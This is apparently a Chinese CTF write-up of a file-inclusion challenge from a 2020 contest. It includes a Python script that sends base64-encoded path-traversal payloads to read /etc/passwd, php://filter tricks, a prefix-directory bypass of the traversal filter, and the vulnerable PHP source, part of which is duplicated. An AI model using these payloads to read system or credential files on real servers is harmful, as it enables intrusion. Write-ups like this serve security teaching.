2020安恒7月赛
Ezfileinclude
点进链接就是一张图片
查看源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img src="image.php?t=1596261680&f=Z3F5LmpwZw=="></p>
</body>
</html>
有个地址 image.php 查看一下
you miss some parameters
根据源码的链接判断
有两个参数, t
表示当前时间戳,f
表示文件
直接写脚本读文件
import requests
import base64
import time
url = 'http://183.129.189.60:10012/image.php?t={}&f='.format(int(time.time()))
f = '../../../../../../etc/passwd'
f = base64.b64encode(f.encode('utf-8')).decode('utf-8')
url = url + f
res = requests.get(url)
print(res.text)
尝试穿越目录读文件发现不行
后来打算用php://filter试试
php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd
发现可以读得到,但不是base64加密的
扫描二维码关注公众号,回复:
11506625 查看本文章
然后直接读flag就出来了
后来发现参数是拼接在一个路径里的,只要…/前面随便加个目录就可以绕过waf
如:lu0sf../../../../../../../../../../flag
就可以读出flag
源码
<?php
if(!isset($_GET['t']) || !isset($_GET['f'])){
echo "you miss some parameters";
exit();
}
$timestamp = time();
if(abs($_GET['t'] - $timestamp) > 10){
echo "what's your time?";
exit();
}
$file = base64_decode($_GET['f']);
if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
echo 'You are not allowed to do that.';
}
else{
echo file_get_contents('/var/www/html/img/'.$file);
}
?>
do that.';
}
else{
echo file_get_contents('/var/www/html/img/'.$file);
}
?>
我太菜了这次比赛只能蒙对一题,在那干坐了3个小时
顺便附上个人博客